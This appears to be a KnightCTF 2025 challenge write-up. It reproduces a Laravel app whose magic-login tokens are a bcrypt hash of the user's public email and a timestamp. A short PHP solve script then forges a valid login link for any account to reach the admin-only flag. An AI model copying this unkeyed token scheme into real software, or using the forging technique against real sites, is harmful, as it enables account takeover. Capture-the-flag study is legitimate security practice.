KnightCTF 2025

@if (isset($flag) && session()->has('is_admin') && session('is_admin'))
    <div class="flag">
        Flag: {{ $flag->flag }}
    </div>
@endif

<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;

Route::get('/', function () {
    if (session()->has('user_id')) {
        return redirect()->route('users');
    }
    return view('welcome');
})->name('dashboard');

Route::middleware('guest')->group(function () {
    Route::get('/register', [AuthController::class, 'showRegisterForm'])->name('register');
    Route::post('/register', [AuthController::class, 'register']);

    Route::get('/login', [AuthController::class, 'showLoginForm'])->name('login');
    Route::post('/login', [AuthController::class, 'login']);

    Route::get('/request-login-url', [AuthController::class, 'showLoginUrlForm'])->name('request-login-url');
    Route::post('/request-login-url', [AuthController::class, 'requestLoginUrl']);

    Route::get('/login-link', [AuthController::class, 'loginUsingLink']);
});

Route::get('/users', function () {
    if (!session()->has('user_id')) {
        return redirect()->route('login')->withErrors(['auth' => 'You must be logged in to access this page.']);
    }
    $authController = new AuthController();
    return $authController->listUsers();
})->name('users');

Route::post('/logout', function () {
    if (!session()->has('user_id')) {
        return redirect()->route('login')->withErrors(['auth' => 'You are not logged in.']);
    }

    // Directly call the controller method
    $authController = new AuthController();
    return $authController->logout(request());
})->name('logout');

Route::get('/contact', function () {
    return view('contact');
})->name('contact');

public function requestLoginUrl(Request $request) {
    $request->validate([
        'email' => 'required|email',
    ]);

    $user = User::where('email', $request->email)->first();

    if (!$user) {
        return back()->withErrors(['email' => 'Email not found']);
    }

    $time = time();
    $data = $user->email . '|' . $time;
    $token = bcrypt($data);

    $loginUrl = url('/login-link?token=' . urlencode($token) . '&time=' . $time . '&email=' . urlencode($user->email));

    return back()->with('success', 'Login link generated, but email sending is disabled.');
}



public function loginUsingLink(Request $request) {
    $token = $request->query('token');
    $time = $request->query('time');
    $email = $request->query('email');

    if (!$token || !$time || !$email) {
        return response('Invalid token or missing parameters', 400);
    }

    if (time() - $time > 3600) {
        return response('Token expired', 401);
    }

    $data = $email . '|' . $time;
    if (!Hash::check($data, $token)) {
        return response('Token validation failed', 401);
    }

    $user = User::where('email', $email)->first();

    if (!$user) {
        return response('User not found', 404);
    }

    session(['user_id' => $user->id]);
    session(['is_admin' => $user->is_admin]);

    return redirect()->route('users');
}

<?php
function solve() {
    $email = "<email>";
    $expirationTime = 3600;
    $currentTime = time();
    $time = $currentTime;
    $data = $email . '|' . $time;
    $token = password_hash($data, PASSWORD_BCRYPT);
    $baseUrl = "https://kctf2025-knightconnect.knightctf.com/login-link";
    $url = $baseUrl . '?token=' . $token . '&time=' . $time . '&email=' . $email;
    return $url;
}

$link = solve();
echo $link;